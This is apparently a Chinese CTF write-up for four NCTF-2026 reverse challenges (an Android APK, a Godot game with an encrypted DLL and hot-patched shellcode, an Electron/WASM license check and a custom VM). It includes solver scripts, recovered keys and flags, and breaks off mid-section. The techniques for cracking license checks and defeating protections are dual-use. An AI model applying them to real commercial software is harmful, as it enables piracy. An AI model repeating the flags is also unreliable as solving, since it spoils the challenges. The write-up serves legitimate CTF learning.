NCTF-2026-Reverse详解
reverse
Hook My Secret
0x01 题目信息
- 题目类型:Android / Reverse / Crypto
- 样本:
app-release.apk - 包名:
com.nctf.hookmysecret - 主要页面:
PatternActivity -> Stage2Activity -> Stage3Activity -> SuccessActivity
这题是一个典型的“三段校验链”:
- Stage1:手势密码(Pattern)经
SHA-256比较 - Stage2:输入字符串走 JNI Native 算法,结果与 16 长度整数数组比较
- Stage3:把 Stage2 的 key 作为 AES Key,结合 SQLite 里的 IV 去加密最终输入,和固定密文比较
0x02 静态分析总览
先解压 APK,定位关键类:
com.nctf.hookmysecret.ui.PatternActivitycom.nctf.hookmysecret.ui.Stage2Activitycom.nctf.hookmysecret.ui.Stage3Activitycom.nctf.hookmysecret.nativebridge.NativeBridge- 混淆辅助类:
LN0/c,LN0/d,LC/h,LK0/a,LM0/a
Native 层在:
lib/*/libhookmysecret.so- 导出函数:
Java_com_nctf_hookmysecret_nativebridge_NativeBridge_encryptStage2
0x03 Stage1 还原(Pattern 校验)
核心逻辑在 LN0/c->b(...):
- 把手势点序列拼成字符串(逗号分隔),例如
"0,1,2,4,8" - 计算
SHA-256,转小写 hex - 与常量比较:
4a6bc34076c8eef0f9eac59ad30d99bb4f56ecea4b0bfab92540fb655ac680f3点位来自 3x3(0~8),常见规则是不重复。直接枚举 P(9,k)(k=1..9)可秒出:
Stage1 pattern = 0,1,2,4,80x04 Stage2 还原(JNI + 常量数组)
Java 侧在 LN0/d 中调用:
NativeBridge.a.encryptStage2(input)然后与 LK0/a->a 的固定数组比较。数组值可还原为:
[250, 113, 87, 185, 6, 125, 167, 156, 4, 0, 229, 239, 119, 155, 187, 95]关键逆向点
从 libhookmysecret.so 的 Java_com_nctf_hookmysecret_nativebridge_NativeBridge_encryptStage2 反汇编可提炼出每轮公式:
- 初始状态:
d = 0x51 - 对第
i个输入字节x:
t = rol8(((13*i + 0x42) ^ d ^ x), 3)
out = (7*d + i + t) & 0xff
d = (x + d + (out ^ i)) & 0xff目标是 out[i] 等于上面的 16 个常量。这个变换可逐字节逆推:
t = (out - (7*d + i)) & 0xff
y = ror8(t, 3)
x = y ^ d ^ (13*i + 0x42)逆出来的 Stage2 正确输入为:
k7Xm2Pq9Wv4N8bRt0x05 Stage3 还原(AES/CBC)
LN0/d 的 Stage3 分支逻辑:
- 从
SharedPreferences("challenge_state")取stage2Key - 去空白并检查长度必须在
{16,24,32} - 从 SQLite
config.db表app_cfg取stage3_iv AES/CBC/PKCS5Padding加密用户输入,Base64 后与固定串比较
数据库初始化在 LM0/a->onCreate:
stage3_iv = "VmVyaWZ5VmVjdG9yMTIzNA=="解码后:
IV = "VerifyVector1234"目标密文常量:
jSaMnziall55Tdr+IZc7EKUNm/N4uwrZw1QFPw6DuirfYFJZg88j6GKLhWfNljAB于是已知:
- Key =
k7Xm2Pq9Wv4N8bRt - IV =
VerifyVector1234 - Ciphertext = 上述 Base64
直接 AES-CBC 解密并去 PKCS#5 padding,得到最终输入(也就是 flag):
NCTF{a680107e-a49b-43e1-915b-cedd25e7835a}0x06 最终答案
flag: NCTF{a680107e-a49b-43e1-915b-cedd25e7835a}0x07 一键复现脚本
脚本位置:
solve_hookmysecret.py
执行:
python solve_hookmysecret.py输出:
[+] Stage1 pattern : 0,1,2,4,8
[+] Stage2 key : k7Xm2Pq9Wv4N8bRt
[+] Final flag : NCTF{a680107e-a49b-43e1-915b-cedd25e7835a}#!/usr/bin/env python3
import base64
import hashlib
import itertools
from Crypto.Cipher import AES
STAGE1_TARGET_SHA256 = "4a6bc34076c8eef0f9eac59ad30d99bb4f56ecea4b0bfab92540fb655ac680f3"
STAGE2_TARGET = [250, 113, 87, 185, 6, 125, 167, 156, 4, 0, 229, 239, 119, 155, 187, 95]
STAGE3_IV_B64 = "VmVyaWZ5VmVjdG9yMTIzNA=="
STAGE3_CIPHER_B64 = "jSaMnziall55Tdr+IZc7EKUNm/N4uwrZw1QFPw6DuirfYFJZg88j6GKLhWfNljAB"
def rol8(x: int, n: int) -> int:
x &= 0xFF
return ((x << n) | (x >> (8 - n))) & 0xFF
def ror8(x: int, n: int) -> int:
x &= 0xFF
return ((x >> n) | (x << (8 - n))) & 0xFF
def stage2_encrypt_like_native(inp: bytes) -> list[int]:
d = 0x51
out = []
for i, x in enumerate(inp):
t = rol8(((13 * i + 0x42) & 0xFF) ^ d ^ x, 3)
o = (7 * d + i + t) & 0xFF
out.append(o)
d = (x + d + (o ^ i)) & 0xFF
return out
def invert_stage2_target(target: list[int]) -> bytes:
d = 0x51
recovered = []
for i, o in enumerate(target):
t = (o - (7 * d + i)) & 0xFF
y = ror8(t, 3)
x = y ^ d ^ ((13 * i + 0x42) & 0xFF)
recovered.append(x)
d = (x + d + (o ^ i)) & 0xFF
return bytes(recovered)
def brute_stage1_pattern() -> str:
digits = "012345678"
for length in range(1, 10):
for p in itertools.permutations(digits, length):
s = ",".join(p)
if hashlib.sha256(s.encode()).hexdigest() == STAGE1_TARGET_SHA256:
return s
raise RuntimeError("stage1 pattern not found")
def decrypt_stage3_flag(stage2_key: str) -> str:
iv = base64.b64decode(STAGE3_IV_B64)
ct = base64.b64decode(STAGE3_CIPHER_B64)
pt = AES.new(stage2_key.encode(), AES.MODE_CBC, iv).decrypt(ct)
pad = pt[-1]
return pt[:-pad].decode()
def main() -> None:
stage1_pattern = brute_stage1_pattern()
stage2_key_bytes = invert_stage2_target(STAGE2_TARGET)
stage2_key = stage2_key_bytes.decode()
assert stage2_encrypt_like_native(stage2_key_bytes) == STAGE2_TARGET
final_flag = decrypt_stage3_flag(stage2_key)
print("[+] Stage1 pattern :", stage1_pattern)
print("[+] Stage2 key :", stage2_key)
print("[+] Final flag :", final_flag)
if __name__ == "__main__":
main()
NoMyBank!
题目信息
题目描述里已经把背景讲得很清楚:
- Kruse 用 Godot 做了一个迷宫小游戏 NoMyBank!;
- SydzI 觉得游戏“不安全”,额外加了一层保护;
- 迷宫最深处宝箱里藏了一个“神秘礼物”;
- 目标就是把这个礼物找出来。
附件里有两个文件:
NoMyBank.exelibextension.dll
其中题目特别提示“解压路径不要包含中文”,这类提示一般意味着:
- 程序本身真的会从磁盘路径取资源;
- 而且很可能不是纯脚本题,存在外部依赖、动态加载,甚至路径相关的保护逻辑。
这题的实际结构也确实如此:
NoMyBank.exe是一个 Godot 4 单文件导出程序;- 资源包没有单独给出,而是 直接拼在 EXE 末尾;
- 迷宫宝箱逻辑不在 GDScript 里直接给出,最后一步被交给了外部扩展
libextension.dll; - 外部
libextension.dll还被额外做了一层伪装,真正逻辑藏在解密后的真实 DLL 中。
所以整题的主线非常明确:
- 先把 Godot 资源包抠出来;
- 还原关键脚本,搞清宝箱触发链;
- 再把外部扩展保护拆掉;
- 最后逆出真正的 key / gift。
0x01先看入口:Godot 4 单文件导出
直接看 NoMyBank.exe,可以先得到两个结论:
- 这是一个 PE32+ x64 程序;
- 字符串和导出模板特征都指向 Godot 4。
进一步检查后可以发现,这不是“exe + 单独 pck”那种导出方式,而是 PCK 被直接拼在 EXE 内部。
我在样本里定位到真正的 PCK 头:
GDPC @ file offset 0x5194000
也就是说,Godot 的资源包是嵌进 NoMyBank.exe 里的,不需要从目录里找外部 .pck。
1.1 PCK 文件表
把 GDPC 后面的目录结构解析出来,可以得到文件数是 88 个,包含:
Scripts/*.gdcScenes/*.scnproject.binary.godot/exported/...bin/libextension.gdextension
说明整个 Godot 工程的资源都在 EXE 里,只是被加密了。
0x02 第一层保护:Godot 资源加密
这题不是普通导出,而是 自定义模板 + 加密资源。
2.1 从模板里抠 AES key
在 EXE 里沿着下面这个报错字符串逆:
Can't open encrypted pack directory.
可以定位到模板里读取 pack key 的逻辑,最终发现程序会从一个全局地址取 32 字节密钥。
恢复出的 key 为:
d34bff62613fdd2861f6d5942c5e99a53ef3e90adbe9091b4686859d5b7dab22
2.2 资源加密格式
这批资源的加密格式符合 Godot 4 的一套常见思路:
- 前 16 字节:明文 MD5
- 后 8 字节:明文长度(little-endian)
- 再后 16 字节:IV
- 剩下是 AES-256-CFB 密文
总共是一个 40 字节头。
解密伪代码如下:
blob = read_file_blob(...)
md5_expected = blob[:16]
size = int.from_bytes(blob[16:24], 'little')
iv = blob[24:40]
ct = blob[40:40+size]
pt = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128).decrypt(ct)
assert hashlib.md5(pt).digest() == md5_expected把这层解掉以后,资源就都能正常落盘了。
0x03 恢复 GDScript / Scene 后的主流程
资源解开后,关键文件有:
Scripts/WinPopupTreasury.gdc
Scripts/OnEnterTreasury.gdc
Scripts/OnNearTreasury.gdc
Scripts/GameManager.gdc
bin/libextension.gdextension其中 .gdc 不是 Godot 3 那种旧字节码,而是 Godot 4 编译后的 tokenizer buffer。这类文件虽然不是直接源码,但把 token 表、标识符表和常量表恢复出来后,依然可以把关键逻辑还原成接近源码的形式。
3.1 宝箱触发脚本:OnEnterTreasury.gd
还原后逻辑非常简单:
extends Area2D
var popup_scene = preload("res://Scenes/winpopup_treasury.tscn")
func _on_body_entered(body):
if body.is_in_group("player"):
body.can_move = false
var popup = popup_scene.instantiate()
get_tree().current_scene.add_child(popup)
func _ready() -> void:
body_entered.connect(_on_body_entered)玩家进入 Treasury 区域后,会弹出一个宝箱窗口。
3.2 宝箱窗口:WinPopupTreasury.gd
这才是本题核心脚本。
还原结果:
extends CanvasLayer
@onready var button = $Panel/Button
@onready var note = $Panel/Label
var menu_scene = preload("res://Scenes/menu.tscn")
func _on_button_pressed():
var flag_checker = get_checker_from_loaded_dll_node()
if flag_checker:
flag_checker.show_flag_dialog()
queue_free()
func get_checker_from_loaded_dll_node():
var checker = get_tree().get_first_node_in_group("dllchecker")
return checker
func _ready() -> void:
note.text = "Congratulations!\n\tYou are now in my treasury.\n\tGive me your key, and I will give you my gift."
process_mode = Node.PROCESS_MODE_ALWAYS
button.pressed.connect(_on_button_pressed)这段代码非常关键,它直接说明:
宝箱按钮并不会在 GDScript 里直接吐 gift,而是去场景树里找一个属于 dllchecker 组的节点,然后调用它的 show_flag_dialog()。
也就是说:
- GDScript 只是把用户引到最终入口;
- 真正的 gift 校验逻辑在外部扩展里。
3.3 外部扩展配置:libextension.gdextension
配置文件内容如下:
[configuration]
entry_symbol = "dllchecker_library_init"
compatibility_minimum = "4.5"
reloadable = true
[libraries]
windows.debug.x86_64 = "res://bin/libextension.dll"
windows.release.x86_64 = "res://bin/libextension.dll"到这里,主线已经很明确了:
- Godot 场景里存在一个
dllchecker节点; - 节点来自外部 GDExtension;
- 宝箱按钮最后会调用它的
show_flag_dialog()。
所以接下来就该狠狠干 libextension.dll。
0x04 第二层保护:外部 libextension.dll 并不是真 DLL
直接看附件里的 libextension.dll,会发现它根本不像正常 PE:
- 熵很高;
MZ头没了;file识别也不正常;- 串看起来像随机数据。
这说明它不是“损坏的 DLL”,而是 被额外加密/伪装过的真 DLL。
4.1 EXE 里有自定义加载器
继续逆 NoMyBank.exe,可以找到一段专门处理外部 DLL 的自定义逻辑,大致流程如下:
- 打开
libextension.dll - 读入内存
- 做一套 RC4 风格 KSA/PRGA
- 把解密后的结果写到临时文件
- 再
LoadLibraryExW加载真正的 DLL
关键字符串非常醒目:
G00dLuck2U
这就是硬编码在 EXE 里的 RC4 key。
4.2 解密真实 DLL
直接用标准 RC4 还原即可:
def rc4(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xff
s[i], s[j] = s[j], s[i]
out = bytearray(len(data))
i = j = 0
for idx, b in enumerate(data):
i = (i + 1) & 0xff
j = (j + s[i]) & 0xff
s[i], s[j] = s[j], s[i]
out[idx] = b ^ s[(s[i] + s[j]) & 0xff]
return bytes(out)
enc = open('libextension.dll', 'rb').read()
dec = rc4(enc, b'G00dLuck2U')
open('libextension.dec', 'wb').write(dec)解密后得到的是一个正常的 PE32+ x64 DLL,导出函数为:
dllchecker_library_init
而且在字符串里已经能看到关键内容:
show_flag_dialog
Flag Checker
enter your key
Good job! Here is your gift:
Wrong!
What a pity! Try again.说明这才是宝箱最终逻辑的真正实现。
0x05 真实 DLL 逆向:先看成功 / 失败分支
在解密后的真实 DLL 里,围绕这些字符串的 xref 可以先把 UI 逻辑钉死。
成功 / 失败分支的主体大致是:
- 成功:
Good job! Here is your gift:
- 失败:
Wrong!
What a pity! Try again.表面看起来像一个很普通的“弹窗 + 校验字符串”流程。
5.1 一开始很容易掉进假逻辑
在 DLL 里先能看到一个完整的 TEA 风格函数,长度、常量、写回方式都很完整,看起来像是“把 40 字节 key 分块加密后对比”。
如果只看静态代码,非常容易直接沿着这条 TEA 逻辑逆回去。
但这条路是假的。
因为 DLL 初始化时会做一件更阴的事:
它会在运行时把那个 TEA 函数入口直接 patch 掉,改跳到另一段隐藏 shellcode。
这一步就是这题最关键的保护点。
0x06 关键反转:TEA 只是烟雾弹,真实校验在隐藏 shellcode
6.1 初始化函数会热补丁校验函数
在 DLL 的初始化路径里,可以看到一段典型的运行时 patch:
- 先把目标函数页改成可写可执行;
- 再往目标地址写入一段 12 字节跳板;
- 跳板内容是:
48 B8 <imm64>
FF E0也就是:
mov rax, <new_target>
jmp rax被 patch 的目标正是之前静态看到的那个 TEA 函数入口;新目标则是 0x180002700 对应的一段跳板逻辑。
6.2 这段跳板还会再解出一段隐藏代码
0x180002700 并不是最终算法本体,它只是一个 loader:
- 先从
.data里的0x491字节 blob 取数据; - 每个字节再 XOR
0xBA; - 把结果放进一块可执行内存;
- 然后把原来校验函数的参数原样传给这段 shellcode 去执行。
也就是说,真实算法结构实际上是:
假 TEA 函数
↓(运行时 patch)
跳到 0x180002700
↓
0x180002700 解密 shellcode
↓
shellcode 才是真校验这一步把题目的层次瞬间拉高了:
- 资源层是 Godot pack 加密;
- 外部扩展层是 RC4 伪 DLL;
- 扩展内部居然还有一层 动态热补丁 + 自解密 shellcode。
0x07 还原真实 shellcode 逻辑
把 .data 里的隐藏 blob 取出来,逐字节 XOR 0xBA,就能得到真实 shellcode。
反汇编后可以发现这段代码做了两件事:
- 对输入做一套 魔改 Base64;
- 再做一层基于
0x114514的按字节扰动; - 最后把结果和 DLL 中的 56 字节常量比较。
7.1 自定义字符表
shellcode 先在栈上构造出一个 64 字节字符表,原始字节再整体异或 0xFF,最终得到的 alphabet 为:
ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/
和标准 Base64 相比,它的表是:
- 大写字母倒序
- 小写字母倒序
- 数字倒序
- 最后还是
+/
7.2 魔改 Base64 编码顺序
对每 3 字节 b0, b1, b2,先按标准方式拆出 4 个 sextet:
s0 = (b0 >> 2) & 0x3f;
s1 = ((b0 & 3) << 4) | ((b1 >> 4) & 0xf);
s2 = ((b1 & 0xf) << 2) | ((b2 >> 6) & 3);
s3 = b2 & 0x3f;但它输出时并不是标准顺序 [s0, s1, s2, s3],而是:
[s1, s0, s3, s2]
也就是说,字符输出顺序被改成了:
第1个字符 = s1
第2个字符 = s0
第3个字符 = s3
第4个字符 = s2padding 规则还是 Base64 那套,长度 40 字节会被编码成 56 字节。
7.3 二次扰动
得到 56 字节中间串以后,shellcode 会继续按字节做下面的处理:
seed = 0x114514;
for (i = 0; i < out_len; i++) {
x = out[i];
x ^= (seed >> ((i * 8) % 24)) & 0xff;
x = rol8(x, 2) ^ 0xBA;
out[i] = x;
seed = seed * 0x1010193 + 0x12345678;
}这里有两个关键点:
((i * 8) % 24)说明它只会用 seed 的低 24 位按 3 字节轮转;seed = seed * 0x1010193 + 0x12345678是一条非常明显的 LCG 更新式。
7.4 最终比较目标
真正的比较目标就是 DLL .rdata 中的一段 56 字节常量:
2b f7 67 5e 7c 98 ed 6d d1 8c ef 57 bb 33 22 7e
b2 1f 34 5b 36 6c 2b af bb 5b 12 d6 3c 0a 45 27
84 6c 47 ab 2f 75 78 3e 88 89 2d 7a cd 5c f6 fa
36 73 ff 6e d3 4c 1c 75这就是我们要逆回去的目标值。
0x08 逆算法:从目标常量反推出正确 key
整体逆向顺序如下:
- 先逆掉第二层字节扰动;
- 再把 56 字节魔改 Base64 串还原回原始 40 字节输入。
8.1 逆二次扰动
正向是:
x ^= mask
x = rol8(x, 2) ^ 0xBA逆向自然就是:
x = ror8(y ^ 0xBA, 2)
x ^= mask其中:
mask = (seed >> ((i * 8) % 24)) & 0xff
seed = seed * 0x1010193 + 0x123456788.2 逆魔改 Base64
恢复出中间串以后,按 4 字节一组取值:
c0, c1, c2, c3
由于它的输出顺序是 [s1, s0, s3, s2],所以逆的时候应该恢复成:
s1 = inv[c0]
s0 = inv[c1]
s3 = inv[c2]
s2 = inv[c3]再按正常 Base64 公式还原原始 3 字节:
b0 = (s0 << 2) | (s1 >> 4)
b1 = ((s1 & 0xf) << 4) | (s2 >> 2)
b2 = ((s2 & 0x3) << 6) | s3这样就能把最终 key 逆出来。
0x09 完整求解脚本
下面给出完整求解脚本。它做的事情包括:
- 先把外部伪 DLL 用 RC4 解开;
- 从真实 DLL 中提取 56 字节目标;
- 逆 shellcode 算法;
- 还原正确输入 key;
- 再模拟成功分支中的
o/e/i -> 0/3/1,得到最终 gift。
from pathlib import Path
import struct
DLL = Path('libextension.dll')
def rc4(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xff
s[i], s[j] = s[j], s[i]
out = bytearray(len(data))
i = j = 0
for idx, b in enumerate(data):
i = (i + 1) & 0xff
j = (j + s[i]) & 0xff
s[i], s[j] = s[j], s[i]
out[idx] = b ^ s[(s[i] + s[j]) & 0xff]
return bytes(out)
def va_to_off(pe: bytes, va: int) -> int:
peoff = struct.unpack_from('<I', pe, 0x3C)[0]
num = struct.unpack_from('<H', pe, peoff + 6)[0]
opt = struct.unpack_from('<H', pe, peoff + 20)[0]
sect = peoff + 24 + opt
image_base = struct.unpack_from('<Q', pe, peoff + 24 + 24)[0]
rva = va - image_base
for i in range(num):
off = sect + i * 40
vsize, vaddr, rsize, roff = struct.unpack_from('<IIII', pe, off + 8)
if vaddr <= rva < vaddr + max(vsize, rsize):
return roff + (rva - vaddr)
raise ValueError
def ror8(x: int, n: int) -> int:
return ((x >> n) | ((x << (8 - n)) & 0xff)) & 0xff
def build_alphabet() -> bytes:
init = bytes(list(range(0xA5, 0xBF)) + list(range(0x85, 0x9F)) + [0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD4, 0xD0])
return bytes(b ^ 0xFF for b in init)
def recover_key(real_dll: bytes) -> str:
target_va = 0x1800EA520
target = real_dll[va_to_off(real_dll, target_va):va_to_off(real_dll, target_va) + 56]
# reverse second stage
stage1 = bytearray()
seed = 0x114514
for i, y in enumerate(target):
t = ror8(y ^ 0xBA, 2)
mask = (seed >> ((i * 8) % 24)) & 0xff
stage1.append(t ^ mask)
seed = (seed * 0x1010193 + 0x12345678) & 0xffffffff
# reverse custom base64
alphabet = build_alphabet()
inv = {c: i for i, c in enumerate(alphabet)}
out = bytearray()
for i in range(0, len(stage1), 4):
c0, c1, c2, c3 = stage1[i:i + 4]
s1 = inv[c0]
s0 = inv[c1]
s3 = 0 if c2 == ord('=') else inv[c2]
s2 = 0 if c3 == ord('=') else inv[c3]
out.append(((s0 << 2) | (s1 >> 4)) & 0xff)
if c2 != ord('='):
out.append((((s1 & 0x0F) << 4) | (s2 >> 2)) & 0xff)
if c3 != ord('='):
out.append((((s2 & 0x03) << 6) | s3) & 0xff)
return out.decode()
def gift_from_key(key: str) -> str:
return key.replace('o', '0').replace('e', '3').replace('i', '1')
def main():
enc = DLL.read_bytes()
real_dll = rc4(enc, b'G00dLuck2U')
key = recover_key(real_dll)
gift = gift_from_key(key)
print('key :', key)
print('gift:', gift)
if __name__ == '__main__':
main()运行结果:
key : NCTF{You_deserve_this_gift_b1bd7c719cfc}
gift: NCTF{Y0u_d3s3rv3_th1s_g1ft_b1bd7c719cfc}PAY-FOR-2048
0x01 题目初步分析
解压后看到是标准 Electron 打包目录,重点文件如下:
- resources/app.asar
- PAY-FOR-2048.exe
- wasm-build/wasm32-unknown-unknown/release/wasm_core.wasm(在 asar 里)
这类题基本套路是:
- JS 负责 UI 和桥接
- 核心校验逻辑在 WASM/Rust
0x02 解包 app.asar
app.asar 不是加密文件,头部是 JSON 索引。解出后得到源码:
- src/game-controller.js
- src/license-service.js
- src/wasm-bridge.js
- wasm-build/.../wasm_core.wasm
从 wasm-bridge.js 可以确认导出函数:
- verify_license
- unlock_flag
也就是:
- 先校验 License
- 再解锁 Flag
0x03 前端逻辑梳理
game-controller.js 关键流程:
- 达到 256 后弹窗输入 key(verify_license)
- key 验证通过后进入 Pro 阶段
- 达到 2048 后调用 unlock_flag
提交给 WASM 的上下文包含:
- key
- score
- steps
- maxTile
- board
- sessionToken
0x04 WASM 逆向核心
将 wasm_core.wasm 转成 wat 后看到关键函数:
- normalize_key
- verify_license_impl
- build_session_token
- unlock_flag_impl
1)verify 阶段
verify_license_impl 做了这些事:
- 检查 maxTile >= 256
- 检查 key 格式:NCTF-XXXX-XXXX-XXXX
- normalize_key:把 key 去前缀/去短横,变成 12 字符串
- 对这 12 字符做 32 位滚动哈希,等于固定常量才通过
- 通过后返回 sessionToken
2)unlock 阶段
unlock_flag_impl 逻辑:
- 检查 maxTile >= 2048
- 重新计算并比对 sessionToken
- 再次 normalize_key
- 用 normalized_key + "|" + "arcade::unlock-seed" 作为输入进行异或流解密
- 得到 flag 字符串返回
0x05 关键坑点:哈希碰撞
我先用哈希方程直接求 key,得到过一个可以通过 verify 的 key:
NCTF-NYOY-6GD8-6MLP
它能通过 verify_license,但 unlock_flag 返回的是乱码。
说明这题不是“只过 verify 就行”,而是:
- verify 仅做 32-bit 哈希,存在碰撞
- 真正 flag 依赖 unlock 的解密输出
- 必须把 flag 格式约束也加进求解
0x06 约束联立求解(Z3)
把两类约束同时加入:
- verify 哈希常量约束
- unlock 输出应满足 flag 格式约束:
- 以 NCTF{ 开头
- UUID 样式分段
- 十六进制字符范围
- } 结尾
解得正确 normalized key:
RU57W45M2048
对应用户输入 key:
NCTF-RU57-W45M-2048
0x07 验证与拿旗
调用流程:
- verify_license(key, ctx(maxTile=256))
返回 ok=true 和 sessionToken - unlock_flag(key, ctx(maxTile=2048, sessionToken=上一步返回))
返回:
NCTF{bff16266-c4f2-4dbb-b270-f5ded900b54c}
from z3 import *
norm = [BitVec(f'n{i}', 8) for i in range(12)]
s = Solver()
for c in norm:
s.add(Or(And(c >= 48, c <= 57), And(c >= 65, c <= 90))) # 0-9A-Z
# verify hash constraint
K = BitVecVal(((-1515890086) & 0xffffffff), 32)
p = BitVecVal(4951, 32)
for i in range(12):
c = ZeroExt(24, norm[i])
t = BitVecVal(40503 if (i & 1) else 17881, 32)
v = (t + c) * BitVecVal(i + 11, 32)
v = v ^ RotateLeft(p, 3)
v = v + ((c << (i % 5)) ^ K)
p = Extract(31, 0, v)
s.add(p == BitVecVal(((-57161169) & 0xffffffff), 32))
seed = b"arcade::unlock-seed"
const = [13,56,42,25,169,244,236,247,250,16,53,94,39,198,182,147,230,168,83,54,11,101,131,237,196,183,95,61,99,89,39,148,134,255,231,15,66,20,95,5,200,251]
inp = []
inp.extend(norm)
inp.append(BitVecVal(ord('|'), 8))
inp.extend(BitVecVal(b, 8) for b in seed)
for i in range(42):
out = inp[i % 32] ^ BitVecVal(((i * 29 + 17) & 0xff), 8) ^ BitVecVal(const[i], 8)
if i < 5:
s.add(out == b"NCTF{"[i])
elif 5 <= i <= 12:
s.add(Or(And(out >= ord('0'), out <= ord('9')), And(out >= ord('a'), out <= ord('f'))))
elif i == 13:
s.add(out == ord('-'))
elif 14 <= i <= 17:
s.add(out == ord("c4f2"[i - 14]))
elif i == 18:
s.add(out == ord('-'))
elif 19 <= i <= 22:
s.add(out == ord("4dbb"[i - 19]))
elif i == 23:
s.add(out == ord('-'))
elif 24 <= i <= 27:
s.add(out == ord("b270"[i - 24]))
elif i == 28:
s.add(out == ord('-'))
elif 29 <= i <= 31:
s.add(out == ord("f5d"[i - 29]))
elif 32 <= i <= 40:
s.add(Or(And(out >= ord('0'), out <= ord('9')), And(out >= ord('a'), out <= ord('f'))))
elif i == 41:
s.add(out == ord('}'))
assert s.check() == sat
m = s.model()
norm_s = ''.join(chr(m[c].as_long()) for c in norm)
key = f"NCTF-{norm_s[:4]}-{norm_s[4:8]}-{norm_s[8:]}"
print("KEY =", key)
inp_bytes = norm_s.encode() + b"|" + seed
flag = bytes(inp_bytes[i % 32] ^ ((i * 29 + 17) & 0xff) ^ const[i] for i in range(42)).decode()
print("FLAG =", flag)
Vm-Encryptor
附件中给了两个文件:
vm-encryptor.execode.bin
程序运行后会提示输入 Flag,随后把 code.bin 读入内存,通过一个自定义虚拟机解释执行。整体看起来像是“壳 + 字节码”的形式,实际校验逻辑并不在 PE 主程序里,而是在 code.bin 对应的 VM 程序中。
这题的核心在于两步:
- 逆出 VM 指令集。
- 逆出字节码逻辑,还原最终校验算法。
最终 Flag:
NCTF{1578be15-ad09-4859-9193-5d52585eb485}
0x01 程序入口分析
首先看主程序字符串:
usage: vm-encryptor.exe <program.bin>
Input Flag:
vm error: %d
Right!
Wrong!说明程序会:
- 从命令行读入一个
.bin文件; - 从标准输入读入 Flag;
- 调用 VM 执行;
- 根据返回值输出
Right!或Wrong!。
进一步分析主流程,可以还原出大致逻辑:
int main(int argc, char **argv) {
vm_ctx ctx = {0};
if (argc <= 1) {
puts("usage: vm-encryptor.exe <program.bin>");
return 1;
}
if (!load_program(&ctx, argv[1])) {
fprintf(stderr, "failed to load %s\n", argv[1]);
return 1;
}
printf("Input Flag: ");
fgets(buf, 0x80, stdin);
strip_newline(buf);
// 复制到 VM 内存的 0x1000 位置
memset(ctx.mem + 0x1000, 0, 0x2b);
memcpy(ctx.mem + 0x1000, buf, min(strlen(buf), 0x2a));
if (vm_exec(&ctx)) {
puts("Right!");
} else {
puts("Wrong!");
}
}这里有个很关键的点:
- 用户输入并不是直接交给原生代码处理;
- 而是被拷贝到了 VM 内存中的
0x1000地址。
所以字节码里一上来出现的 0x1000、0x102b、0x1064 这些地址,基本就都能对上用途了。
0x02 VM 上下文结构恢复
从 vm_exec 和 load_program 里可以把 VM 状态结构恢复出来:
struct VM {
uint32_t ip; // 0x0000
uint32_t sp; // 0x0004
uint8_t mem[0x10000]; // 0x000c
uint32_t stack[0x1000]; // 0x1000c
uint32_t running; // 0x1400c
uint32_t err; // 0x14010
};几个关键成员:
ip:字节码 PCsp:VM 栈顶mem:VM 的 64KB 内存stack:VM 的 4096 项整型栈running:运行状态err:错误码
主程序把 code.bin 读入到了 mem[0] 开始的位置,而输入字符串被放到了 mem[0x1000]。
0x03 VM 指令集恢复
解释器主体是一个典型的 switch/jumptable 结构。把跳转表梳理出来后,可以得到这套指令集:
opcode | 含义 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
其中:
ld8/ld32:从mem读数据st8/st32:往mem写数据call/ret:通过 VM 栈维护返回地址printstr:从某个内存地址开始输出字符串,直到遇到0x00
这题的难点不在 VM 本身多复杂,而在于它用一层虚拟机把真正逻辑藏起来了。
0x04 字节码入口分析
把 code.bin 从入口开始递归反汇编,可以看到一开始就是三次函数调用:
0000: push32 0x1000
0005: push32 0x102b
000a: push32 0x002a
000f: call 0x004f
0014: push32 0x102b
0019: push32 0x1064
001e: push32 0x0038
0023: call 0x0368
0028: push32 0x1064
002d: push32 0x109d
0032: push32 0x0038
0037: call 0x0471
003c: jz 0x0048
0041: push32 0x10d5
0046: printstr
0047: halt
0048: push32 0x10dc
004d: printstr
004e: halt这已经把主逻辑暴露得很清楚了:
0x004f:把输入0x1000加工后写到0x102b0x0368:把0x102b再加工后写到0x10640x0471:把0x1064与0x109d的目标数据比较
如果比较成功,打印 Right!;否则打印 Wrong!。
所以这题本质上就是逆这三段 VM 函数。
0x05 第一段函数 sub_004f:3 字节转 4 字节
1. 参数含义
调用前压栈顺序:
push32 0x1000 ; src
push32 0x102b ; dst
push32 0x2a ; len = 42
call 0x004f进入函数后,会把参数保存到内存变量:
0x1127= src0x112b= dst0x112f= len0x1133= i0x1137= len / 30x1147= 状态机变量
2. 核心逻辑
这段代码的循环体在 0x01b3 ~ 0x035c,整理后其实很规整:
for (i = 0; i < len / 3; i++) {
src_idx = src + i * 3;
dst_idx = dst + i * 4;
v = (mem[src_idx] << 16)
| (mem[src_idx + 1] << 8)
| mem[src_idx + 2];
v = rol24(v, 5) ^ 0x55757d;
v = rol24(v, 11) ^ 0x55757d;
v = rol24(v, 20) ^ 0x55757d;
dst[0] = table[(v >> 18) & 0x3f];
dst[1] = table[(v >> 12) & 0x3f];
dst[2] = table[(v >> 6) & 0x3f];
dst[3] = table[v & 0x3f];
}这里的 table 位于 0x10e3:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
也就是说:
这其实就是一个“先做 24 位混淆,再做 Base64 映射”的编码过程。
3. 本段结论
输入长度是 0x2a = 42,刚好是 14 * 3。
所以第一段函数输出长度就是:
42 / 3 * 4 = 56
对应调用时传入的第二段长度 0x38 = 56,完全吻合。
0x06 第二段函数 sub_0368:逐字节异或
第二个函数入口在 0x0368,整体逻辑很简单,就是遍历 56 字节做单字节异或。
核心循环整理后如下:
for (i = 0; i < len; i++) {
dst[i] = src[i] ^ 0x63;
}也就是:
- 输入:
0x102b - 输出:
0x1064 - 长度:
0x38 - 变换:
